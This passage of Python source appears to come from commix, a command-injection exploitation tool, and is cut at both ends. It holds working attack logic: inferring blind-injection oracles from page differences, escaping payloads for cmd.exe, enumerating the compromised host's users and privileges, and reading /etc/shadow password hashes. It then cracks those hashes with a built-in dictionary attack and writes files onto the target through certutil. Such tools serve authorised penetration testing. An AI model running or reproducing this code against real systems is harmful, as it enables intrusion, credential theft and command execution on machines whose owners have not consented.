at, and a single word of it survives a target that renders the + # same answer a little differently. + def lines(page): + return set(filtered_page_content(page, split=settings.END_LINE.LF).split(settings.END_LINE.LF)) + + def words(page): + return set(filtered_page_content(page).split()) + + """ + Where the two answers actually part company, as spans of each page. + + A page is not only its answer: a run that took a moment longer, a counter, a length printed in a + corner will all differ between two requests without saying anything about what was asked. Text is + only worth quoting when it sits where the answer changed, so a candidate has to overlap one of + these to count - otherwise the page's own furniture can stand in for the answer and be offered as + the way to recognise it. + """ + opcodes = [_ for _ in difflib.SequenceMatcher(None, false_raw, true_raw).get_opcodes() if _[0] != "equal"] + changed_true = [(j1, j2) for _, _, _, j1, j2 in opcodes] + changed_false = [(i1, i2) for _, i1, i2, _, _ in opcodes] + + def overlaps_change(candidate, page, regions): + at = page.find(candidate) + while at != -1: + if any(at < high and low < at + len(candidate) for low, high in regions): + return True + at = page.find(candidate, at + 1) + return False + + """ + The page's own moving parts are not an answer either. + + Sitting where the two answers differ is not enough on its own: a target that prints something of + its own that moves - a timing, a counter, a clock - differs there between two identical requests + as well, so that text lands in the difference without having anything to do with what was asked. + Those regions were measured from two samples of the same request before any of this, and taken + out of the comparison every other reading is made through; read through it here too, text that is + only the page moving is gone, and what is offered is what the answer actually changed. + """ + true_steady, false_steady = remove_dynamic_content(true_raw), remove_dynamic_content(false_raw) + + def usable(candidate, page, other, regions, steady): + candidate = candidate.strip() + return (candidate and candidate in page and candidate not in other + and overlaps_change(candidate, page, regions) + and candidate in steady) + + # A sentence first, being the one worth reading back; then a single word. + for pattern, sentence, extract in ((r"\A[\w.,! ]+\Z", True, lines), (r"\A\w{2,}\Z", False, words)): + only = extract(true_raw) - extract(false_raw) + for candidate in sorted((_.strip() for _ in only if _.strip()), key=len): + if not re.match(pattern, candidate): + continue + if sentence and not (settings.SINGLE_WHITESPACE in candidate and len(candidate) > settings.CANDIDATE_SENTENCE_MIN_LENGTH): + continue + if usable(candidate, true_raw, false_raw, changed_true, true_steady): + return "--string=" + quoted_value(candidate) + + for candidate in sorted((_.strip() for _ in words(false_raw) - words(true_raw) if _.strip()), key=len): + if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw, changed_false, false_steady): + return "--not-string=" + quoted_value(candidate) + + """ + Nothing the page says on its own tells the two apart, so the markup it says it in is tried. + + A page that lists its own source carries the words of both answers as text and differs only in + which of them it rendered - so the tag around the difference is the difference, and quoting it is + what makes the answer nameable at all. + """ + for option, page, other, on_true, steady in (("--string", true_raw, false_raw, True, true_steady), + ("--not-string", false_raw, true_raw, False, false_steady)): + for _, i1, i2, j1, j2 in opcodes: + found = unique_around(page, other, *((j1, j2) if on_true else (i1, i2))) + # Held to what the answer changed here too, not to what the page moves on its own. + if found and found.strip() in steady: + return option + "=" + quoted_value(found) + return "" + +""" +The option that says which answer is which on this target, for the finding to be reported with. +""" +def boolean_oracle_hint(technique): + if technique != settings.INJECTION_TECHNIQUE.BOOLEAN_BASED: + return "" + # Said only where the run worked it out for itself: a run that was already given one is being + # told what it told us. + if boolean_oracle_given(): + return "" + return inferred_boolean_oracle() + +# Check if a GraphQL document, which is a body that names an operation and carries a selection set. +def is_GraphQL_check(parameter): + try: + return bool(re.search(settings.GRAPHQL_RECOGNITION_REGEX, parameter.replace(settings.INJECT_TAG, ""))) + except (ValueError, TypeError): + return False + +# Check if valid SOAP/XML +def is_XML_check(parameter): + try: + if re.search(settings.XML_RECOGNITION_REGEX, parameter): + return True + except ValueError: + return False + +#Check if INJECT_TAG is enclosed in quotes (in json data) +def check_quotes_json_data(data): + if not json.dumps(settings.INJECT_TAG) in data: + data = data.replace(settings.INJECT_TAG, json.dumps(settings.INJECT_TAG)) + return data + +# Check if valid JSON +def is_JSON_check(parameter): + try: + # Attempt to load the JSON string + json.loads(parameter.replace(settings.INJECT_TAG,"")) + settings.IS_VALID_JSON = True + return settings.IS_VALID_JSON + except json.JSONDecodeError as err_msg: + # Handle JSONDecodeError and identify common issues + if settings.IS_JSON and not settings.IS_VALID_JSON: + error_str = str(err_msg) + if "No JSON object could be decoded" in error_str: + err_msg = "JSON is invalid. No valid JSON object found." + elif "Expecting" in error_str and any(_ in error_str for _ in ("value", "delimiter")): + err_msg = "JSON parsing error: " + error_str + ". Check for missing commas, colons, or improperly escaped characters." + elif "Expecting" in error_str and "end of data" in error_str: + err_msg = "JSON parsing error: " + error_str + ". Check for extra commas or missing closing brackets." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + +# Process with JSON data +def process_data(data_type, http_request_method): + while True: + info_msg = str(data_type) + " data found in " + str(http_request_method) + " body." + message = info_msg + message += " Do you want to process it? [Y/n] " + process = common.read_input(message, default="Y", check_batch=True) + if process in settings.CHOICE_YES: + return True + elif process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return False + elif process in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(process) + pass + +""" +Check for similarity in provided parameter name and value. +""" +def check_similarities(all_params): + if settings.IS_JSON: + try: + placeholder = "".join(random.sample(string.ascii_uppercase, k=6)) + flat = flatten(json.loads(','.join(all_params), object_pairs_hook=OrderedDict)) + modified = False + for param in flat: + if isinstance(flat[param], str): + if flat[param] in param: + flat[param] = flat[param] + settings.RANDOM_TAG + modified = True + if settings.SINGLE_WHITESPACE in flat[param]: + flat[param] = flat[param].replace(settings.SINGLE_WHITESPACE, placeholder) + modified = True + if modified: + all_params = [x.replace(settings.SINGLE_WHITESPACE, "").replace(placeholder, settings.SINGLE_WHITESPACE) for x in json.dumps(flat).split(", ")] + except Exception: + pass + else: + for param in range(0, len(all_params)): + if settings.IS_XML: + if re.findall(r'>(.*)(.*)', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'', all_params[param])) + parameter_value = ''.join(re.findall(r'>(.*)" + parameter_value + settings.RANDOM_TAG + "" + else: + if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): + parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) + if parameter_name: + all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: + parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) + parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) + all_params[param] = parameter_name + "=" + parameter_value + settings.RANDOM_TAG + + all_params = [str(x) for x in all_params if x is not None] + return all_params + +""" +What this run has already seen the output made of. + +A command's output is not a random string. The same bytes come back again and again - the slashes +of a path, the digits of an id, the letters of a name - and a byte bisected out of the whole pool +every time pays no attention to any of that: the last character of an output costs what the first +one did. Kept here, the next byte is asked about against the ones before it, and the pool is only +fallen back on where they have nothing to say. + +Held per extraction rather than for the run, so it is handed to whatever is reading rather than +kept in 'settings' - two outputs read one after another are not made of the same bytes. +""" +def new_observed_characters(): + return {"frequency": {}, "count": 0, "lock": threading.Lock()} + +""" +One more byte of the output, now that it is known. +""" +def record_observed_character(seen, ordinal): + if ordinal is None: + return + with seen["lock"]: + seen["frequency"][ordinal] = seen["frequency"].get(ordinal, 0) + 1 + seen["count"] = seen["count"] + 1 + +""" +The bytes seen so far, where halving them says more than halving the pool - which it does once +enough of them have answered to be worth generalising from, while the set is still the smaller of +the two, and while the output is repeating itself enough for the guess to be worth its cost. + +Nothing read from here is believed on its own: every technique asking confirms what it finds with +an equality question of its own, so a guess that was wrong costs that question and no correctness. + +The lock is for '--threads', which has several positions being read at once. +""" +def narrowed_characters(seen): + with seen["lock"]: + if (seen["count"] < settings.NARROWING_MIN_OBSERVED + or len(seen["frequency"]) > settings.NARROWING_MAX_SET_SIZE + or seen["count"] < len(seen["frequency"]) * settings.NARROWING_MIN_REPEAT_RATIO): + return None + return sorted(seen["frequency"]) + +""" +Generate a character pool for time‑related command injection techniques +""" +""" +A command written into a cmd.exe payload, with the one character that shell reads as its own left +as the command's. + +cmd.exe takes a '^' for its own escape and drops it, so a command carrying one ran without it and +what came back was reported as the command's own answer: 'echo a^b' arrived as 'ab', which is a +wrong answer rather than a missing one. Doubled, it reaches the command as the character it was - +measured against a cmd.exe, one doubling is exactly what a single pass of its unescaping takes off, +and a command carrying none is untouched. + +Not done where a script is rewriting the payload: the one that spells a payload in carets collapses +a double back to a single, which would undo this and leave the command shorter than it was written. +""" +def caret_escaped(cmd): + if any(settings.TAMPER_SCRIPTS.values()): + return cmd + return cmd.replace(settings.WIN_ESCAPE, settings.WIN_ESCAPE * 2) + +def generate_char_pool(num_of_chars): + if menu.options.charset: + return [ord(c) for c in menu.options.charset] + + if num_of_chars == 1: + return list(settings.CHAR_POOL_SINGLE) + + return list(settings.CHAR_POOL_MULTI) + +""" +Print powershell version +""" +def print_ps_version(ps_version, filename, newline_first): + ps_version = "".join(str(p) for p in ps_version).strip() + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + # A version has a number in it, so an answer without one means the command never ran. Taken as a + # version it leaves PowerShell marked as available, and every payload needing it quietly weakens. + if not re.search(r"\d", ps_version): + warn_msg = "Failed to identify the version of Powershell, " + warn_msg += "which means some payloads or injection techniques may fail." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.PS_ENABLED = False + ps_check_failed() + return + settings.PS_ENABLED = True + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + settings.print_data_to_stdout(settings.print_retrieved_data("Powershell version", ps_version)) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("powershell_version", ps_version) + +""" +Print hostname +""" +def print_hostname(shell, filename, newline_first): + if shell: + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Hostname: " + str(shell) + settings.print_data_to_stdout(settings.print_retrieved_data("Hostname", shell)) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("hostname", str(shell)) + else: + warn_msg = "Failed to identify the hostname." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print current user info +""" +def print_current_user(cu_account, filename, newline_first): + if cu_account: + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + settings.print_data_to_stdout(settings.print_retrieved_data("Current user", cu_account)) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("current_user", str(cu_account)) + else: + warn_msg = "Failed to fetch the current user." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Print current user privs +""" +def print_current_user_privs(shell, filename, newline_first): + priv = "True" + if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \ + (settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"): + priv = "False" + + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + info_msg = "Current user has elevated privileges: " + str(priv) + settings.print_data_to_stdout(settings.print_retrieved_data("Current user has elevated privileges", priv, quoted=False)) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("current_user_elevated_privileges", priv == "True") +""" +Print OS info +""" +def print_os_info(target_os, target_arch, filename, newline_first): + if target_os and target_arch: + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) + settings.print_data_to_stdout(settings.print_retrieved_data("Operating system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch))) + logs.add_line(filename, info_msg, group="info") + logs.report_set_info("operating_system", str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)) + else: + warn_msg = "Failed to fetch target operating system information." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Whether this technique reads its answer a piece at a time, rather than off the response it already has. + +What it costs is what makes it worth naming: a value read this way spends a length and a byte for +every character, and several of them asked for in a row are otherwise a run of identical lines with +nothing to say which value each one is working on. +""" +def incremental_retrieval(technique): + return technique in (settings.INJECTION_TECHNIQUE.BOOLEAN_BASED, + settings.INJECTION_TECHNIQUE.TIME_BASED, + settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED) + +""" +Print enumeration info msgs +""" +class print_enumenation(): + # What is about to be asked of the target, named the way the answer will be labelled. + def _fetching(self, what): + settings.print_data_to_stdout(settings.print_info_msg("Fetching the " + what + ".")) + + # One of several values behind a single heading, named only where each is fetched separately. + def fetching_part(self, what, technique): + if incremental_retrieval(technique): + self._fetching(what) + + # Say the powershell version is being fetched. + def ps_version_msg(self): + self._fetching("powershell version") + + # Say the hostname is being fetched. + def hostname_msg(self): + self._fetching("hostname") + + # Say the current user is being fetched. + def current_user_msg(self): + self._fetching("current user") + + # Say the current user's privileges are being fetched. + def check_privs_msg(self): + self._fetching("current user's privileges") + + # Say the target operating system is being fetched. + def os_info_msg(self): + self._fetching("target operating system") + + # Say the operating system users are being fetched. + def print_users_msg(self): + self._fetching("operating system users") + + # Say the users' password hashes are being fetched. + def print_passes_msg(self): + self._fetching("operating system users' password hashes") + + # Not a fetch: the command is the user's own, and it is named rather than described. + def print_single_os_cmd_msg(self, cmd): + info_msg = "Executing operating system command: '" + cmd + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Classify a uid into a human-readable privilege label, mirroring '/etc/passwd' conventions. +""" +def classify_uid(uid): + uid = int(uid) + if uid == 0: + return "root user" + elif 0 < uid < 99: + return "system user" + elif 99 <= uid <= 65534: + if uid in (99, 60001, 65534): + return "anonymous user" + elif uid == 60002: + return "non-trusted user" + else: + return "regular user" + return "" + +""" +Print users enumeration: a bare '* name' list, plus a per-user privileges section when requested. +""" +def print_users(sys_users, filename, newline_first, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter): + + # Windows users enumeration. + if settings.TARGET_OS == settings.OS.WINDOWS: + try: + denied = any(phrase.lower() in str(sys_users).lower() for phrase in settings.WIN_ACCESS_DENIED) + if sys_users and not denied: + sys_users = "".join(str(p) for p in sys_users).strip() + sys_users_list = re.findall(r"(.*)", sys_users) + sys_users_list = "".join(str(p) for p in sys_users_list).strip() + sys_users_list = ' '.join(sys_users_list.split()) + sys_users_list = sys_users_list.split() + # Output that parsed to nothing is not a list of users, and saying nothing at all about it + # reads as though the enumeration had simply found none. + if len(sys_users_list) == 0: + no_user_enumeration_permission() + else: + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="users") + for name in sys_users_list: + user_line = "[*] '" + name + "'" + settings.print_data_to_stdout(user_line) + logs.add_line(filename, user_line, group="users") + logs.report_add_enumeration("users", name) + else: + no_user_enumeration_permission() + except TypeError: + pass + except IndexError: + no_user_enumeration_permission() + pass + + # Unix-like users enumeration. + else: + try: + if sys_users: + sys_users = "".join(str(p) for p in sys_users).strip() + if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 : + sys_users = sys_users.split(settings.END_LINE.LF) + else: + sys_users = sys_users.split(settings.SINGLE_WHITESPACE) + # Check for appropriate '/etc/passwd' format. + if len(sys_users) % 3 != 0 : + warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, exporting it as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users).strip() + settings.print_data_to_stdout(sys_users) + logs.add_line(filename, " " + sys_users, group="users") + else: + sys_users_list = [] + for user in range(0, len(sys_users), 3): + sys_users_list.append(sys_users[user : user + 3]) + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + info_msg = "Operating system" + info_msg += " user" + ('s', '')[len(sys_users_list) == 1] + info_msg += " [" + str(len(sys_users_list)) + "]:" + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="users") + + parsed_users = [] + count = 0 + for user in range(0, len(sys_users_list)): + entry = ":".join(str(p) for p in sys_users_list[user]) + count = count + 1 + fields = entry.split(":") + try: + if not fields[2].startswith("/"): + raise ValueError() + parsed_users.append((fields[0], fields[1], fields[2])) + logs.report_add_enumeration("users", fields[0]) + except ValueError: + if count == 1 : + warn_msg = "It seems '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, exporting it as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + raw_line = " ".join(str(p) for p in fields) + settings.print_data_to_stdout(raw_line) + logs.add_line(filename, " " + raw_line, group="users") + if parsed_users: + for name, _, _ in parsed_users: + user_line = "[*] '" + name + "'" + settings.print_data_to_stdout(user_line) + logs.add_line(filename, user_line, group="users") + + # Per-user privileges, only when explicitly requested. + if menu.options.privileges and parsed_users: + fetch_msg = "Fetching the operating system users' privileges." + settings.print_data_to_stdout(settings.print_info_msg(fetch_msg)) + info_msg = "Operating system" + info_msg += " user" + ('s', '')[len(parsed_users) == 1] + info_msg += "' privileges [" + str(len(parsed_users)) + "]:" + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="privileges") + table_rows = [] + for name, uid, homedir in parsed_users: + label = classify_uid(uid) + privileged = int(uid) == 0 + logs.report_add_enumeration("privileges", {"name": name, "uid": uid, "home_directory": homedir, "type": label, "privileged": privileged}) + table_rows.append([name, uid, homedir, privileged]) + privileges_table = settings.render_table(["Username", "UID", "Home Directory", "Privileged"], table_rows) + settings.print_data_to_stdout(privileges_table) + logs.add_line(filename, privileges_table, group="privileges") + else: + warn_msg = "It seems you do not have permission " + warn_msg += "to read the contents of the file '" + settings.PASSWD_FILE + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + pass + +""" +Print users enumeration. +""" +def print_passes(sys_passes, filename, newline_first, interpreter): + if sys_passes: + sys_passes = "".join(str(p) for p in sys_passes).strip() + sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, settings.END_LINE.LF).split() + if len(sys_passes) != 0 : + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + """ + Worked out before the count is announced. Most accounts carry no hash - a '*' or a '!' where + one would be - and those lines are not printed, so counting every line read gave a heading of + forty-five above a list of two. + """ + usable = [] + malformed = False + for line in sys_passes: + fields = line.split(":") if ":" in line else [] + if len(fields) < 2: + malformed = malformed or bool(line) + continue + if "*" not in fields[1] and "!" not in fields[1] and fields[1] != "": + usable.append((fields[0], fields[1])) + if malformed: + warn_msg = "It seems '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, exporting it as a text file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + info_msg = "Operating system" + info_msg += " user" + ('s', '')[len(usable) == 1] + info_msg += " password hashes [" + str(len(usable)) + "]:" + settings.print_data_to_stdout(info_msg) + logs.add_line(filename, info_msg, group="passwords") + for username, digest in usable: + logs.report_add_enumeration("passwords", {"username": username, "hash": digest}) + user_line = "[*] " + username + " [1]:" + hash_line = " password hash: " + digest + settings.print_data_to_stdout(user_line) + settings.print_data_to_stdout(hash_line) + logs.add_line(filename, user_line, group="passwords") + logs.add_line(filename, hash_line, group="passwords") + crack_passwords(usable, filename) + else: + warn_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + warn_msg = "Unable to retrieve the password hashes for the operating system users." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Write the recognized hashes to a local temporary file, 'user:hash' one per line, the same way the +dictionary attack below is about to read a wordlist - something to hand a dedicated tool instead. +""" +def store_hashes_to_file(usable): + handle, path = tempfile.mkstemp(prefix=settings.APPLICATION, suffix=".txt") + with os.fdopen(handle, "w") as f: + for username, digest in usable: + f.write(username + ":" + digest + settings.END_LINE.LF) + info_msg = "Writing hashes to a temporary file '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + modes = sorted(set(crypt_algos.hashcat_mode(crypt_algos.recognize(digest)) for _, digest in usable) - {None}) + if modes: + info_msg = "The stored hashes can be cracked with a dedicated tool (e.g. " + info_msg += ", ".join("'hashcat -m " + str(mode) + "'" for mode in modes) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Which dictionary file the attack below reads its candidate words from - the bundled one by +default, or a path of the user's own. +""" +def choose_wordlist(): + # Printed, not folded into the input() prompt below - see the matching note in + # choose_web_root_candidates(). + question = "What dictionary do you want to use?" + options = ( + "[1] Default dictionary file '" + settings.PASSWORDS_TXT_FILE + "' (press Enter)", + "[2] Custom dictionary file", + ) + settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL) + for option in options: + settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL) + choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1") + if choice == "2": + path = common.read_input("What's the custom dictionary's location? ", default="", check_batch=True) + if path and os.path.isfile(path): + return path + warn_msg = "The specified dictionary file was not found. Using the default dictionary instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return settings.PASSWORDS_TXT_FILE + +""" +Dictionary-based attack against the password hashes '--passwords' just retrieved - offered the same +way and in the same order every time: store to a file first, then (by default) crack, choose a +dictionary, optionally add common suffixes, then try every word (plus suffix) against every hash of +a format commix can compute, word-major so one pass serves every hash sharing that format at once. +""" +def crack_passwords(usable, filename): + if not usable: + return + + store_msg = "Do you want to store hashes to a temporary file for eventual further processing with other tools? [y/N] " + if common.read_input(store_msg, default="N", check_batch=True) in settings.CHOICE_YES: + store_hashes_to_file(usable) + + # Defaults to skipping under '--batch' on a bulk scan - a dictionary attack repeated unattended + # over every target in a list is a cost worth asking about, not assuming, the way a single run is. + crack_default = "N" if settings.MULTI_TARGETS else "Y" + crack_msg = "Do you want to crack them via a dictionary-based attack? [" + ("y/N" if settings.MULTI_TARGETS else "Y/n") + "] " + if common.read_input(crack_msg, default=crack_default, check_batch=True) not in settings.CHOICE_YES: + return + + recognized = {} + unsupported = set() + for username, digest in usable: + fmt = crypt_algos.recognize(digest) + if fmt is None: + continue + if fmt in crypt_algos.CRACKABLE: + recognized.setdefault(fmt, []).append((username, digest)) + else: + unsupported.add(fmt) + + if unsupported: + for fmt in sorted(unsupported): + mode = crypt_algos.hashcat_mode(fmt) + warn_msg = "A '" + fmt + "' hash was found that cannot be cracked with the built-in dictionary attack" + warn_msg += (" (use e.g. 'hashcat -m " + str(mode) + "')") if mode else "" + warn_msg += "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + if not recognized: + warn_msg = "No clear password(s) found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return + + for fmt in recognized: + info_msg = "Using hash method '" + fmt + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + wordlist_path = choose_wordlist() + words = common.load_list_from_file(wordlist_path, "wordlist") + + suffixes = [""] + suffix_msg = "Do you want to use common password suffixes? (slow!) [y/N] " + if common.read_input(suffix_msg, default="N", check_batch=True) in settings.CHOICE_YES: + suffixes += list(settings.COMMON_PASSWORD_SUFFIXES) + + cracked = {} + for fmt, items in recognized.items(): + pending = list(items) + info_msg = "Starting dictionary-based cracking ('" + fmt + "')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + tried = 0 + for suffix in suffixes: + if not pending: + break + for word in words: + if not pending: + break + candidate = word + suffix + tried += 1 + if settings.VERBOSITY_LEVEL == 0 and tried % 15 == 0: + settings.print_data_to_stdout(".") + for item in list(pending): + username, digest = item + if crypt_algos.crack_candidate(digest, candidate): + cracked[item] = candidate + pending.remove(item) + info_msg = "Cracked password '" + candidate + "' for user '" + username + "'." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + + if cracked: + info_msg = "Cracked " + str(len(cracked)) + " password" + ('s', '')[len(cracked) == 1] + ":" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for (username, digest), password in cracked.items(): + user_line = "[*] " + username + " [1]:" + hash_line = " password hash: " + digest + pass_line = " clear-text password: " + password + settings.print_data_to_stdout(user_line) + settings.print_data_to_stdout(hash_line) + settings.print_data_to_stdout(pass_line) + logs.add_line(filename, user_line, group="passwords") + logs.add_line(filename, hash_line, group="passwords") + logs.add_line(filename, pass_line, group="passwords") + logs.report_add_enumeration("passwords", {"username": username, "hash": digest, "password": password}) + else: + warn_msg = "No clear password(s) found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Run the standard enumeration checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own enumeration entry point (see shellshock.py). +""" +def run_enumeration(execute_cmd, filename, url): + ran = False + + if menu.options.sys_info: + ran = True + print_enumenation().os_info_msg() + target_os = execute_cmd(settings.RECOGNISE_OS) + target_arch = None + if target_os: + # Only a Linux kernel has a distribution name to add to it, the way 'system_information()' + # reads the two apart. The architecture, and the answer itself, belong to every kernel alike - + # asked for inside that name, a target answering anything else ('Darwin', 'FreeBSD', 'SunOS') + # had its architecture left unread and nothing said about it at all, not even that the fetch + # had failed. + if target_os == "Linux": + distro_name = execute_cmd(settings.DISTRO_INFO) + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + target_arch = execute_cmd(settings.RECOGNISE_HP) + set_target_arch(target_arch) + print_os_info(target_os, target_arch, filename, False) + + if menu.options.current_user: + ran = True + print_enumenation().current_user_msg() + shell = execute_cmd(settings.CURRENT_USER) + if shell: + print_current_user(shell, filename, False) + + if menu.options.hostname: + ran = True + print_enumenation().hostname_msg() + shell = execute_cmd(settings.HOSTNAME) + if shell: + print_hostname(shell, filename, False) + + if menu.options.is_root: + ran = True + print_enumenation().check_privs_msg() + cmd = remove_parenthesis(''.join(re.findall(r"\$(.*)", settings.IS_ROOT))) + shell = execute_cmd(cmd) + if shell: + print_current_user_privs(shell, filename, False) + + if menu.options.users: + ran = True + print_enumenation().print_users_msg() + cmd = remove_command_substitution(settings.SYS_USERS) + shell = execute_cmd(cmd) + if shell: + print_users(shell, filename, False, None, None, cmd, None, None, None, None, url, None, interpreter=False) + + if menu.options.passwords: + ran = True + print_enumenation().print_passes_msg() + cmd = remove_command_substitution(settings.SYS_PASSES) + shell = execute_cmd(cmd) + if shell: + print_passes(shell, filename, False, interpreter=False) + + if ran: + settings.ENUMERATION_DONE = True + +""" +Run the single --os-cmd execution via the given execute_cmd(cmd) -> output callback. +""" +def run_single_os_cmd(execute_cmd, filename): + cmd = menu.options.os_cmd + print_enumenation().print_single_os_cmd_msg(cmd) + shell = execute_cmd(cmd) + print_single_os_cmd(cmd, shell, filename) + +""" +Print single OS command +""" +def print_single_os_cmd(cmd, output, filename): + # One character is an answer too - 'echo A' was reported as having returned nothing. + if len(output) > 0: + settings.print_data_to_stdout(settings.print_retrieved_data("Execution output", output)) + logs.executed_command(filename, cmd, output) + else: + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit(settings.EXIT_FAILURE) + +""" +Quote provided cmd +""" +def quoted_cmd(cmd): + cmd = "\"" + cmd + "\"" + return cmd + +""" +Escape file content for a double-quoted "printf" argument. +""" +def escape_file_content(content): + content = content.replace("\\", "\\\\") + content = content.replace("\"", "\\\"") + content = content.replace("$", "\\$") + content = content.replace("`", "\\`") + content = content.replace("%", "%%") + content = content.replace(settings.END_LINE.LF, "\\n") + return content + +""" +Add new "cmd /c" +""" +def add_new_cmd(cmd): + cmd = "cmd /c " + cmd + return cmd + +""" +Escape single quoted cmd +""" +def escape_single_quoted_cmd(cmd): + cmd = cmd.replace("'","\\'") + return cmd + +""" +Find filename +""" +def find_filename(dest_to_write, content): + norm_dest = dest_to_write.replace("\\", "/") + dirpath = os.path.dirname(norm_dest) + fname = norm_dest + tmp_fname = (dirpath + "/" if dirpath else "") + os.path.basename(norm_dest) + "_tmp" + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" + else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + return fname, tmp_fname, cmd + +""" +Decode base 64 encoding +""" +def win_decode_b64_enc(fname, tmp_fname): + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\") + return cmd + +""" +Add command substitution on provided command +""" +def add_command_substitution(cmd): + cmd = "echo $(" + cmd + ")" + return cmd + +""" +Remove command substitution on provided command +""" +def remove_command_substitution(cmd): + cmd = cmd.replace("echo $(", "").replace(")", "") + return cmd + +# The command with its brackets taken out, where the carrier cannot hold them. +def remove_parenthesis(cmd): + cmd = cmd.replace("(", "").replace(")", "") + return cmd + +""" +Write the file content +""" +def write_content(content, dest_to_write): + content = quoted_cmd(content) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'" + 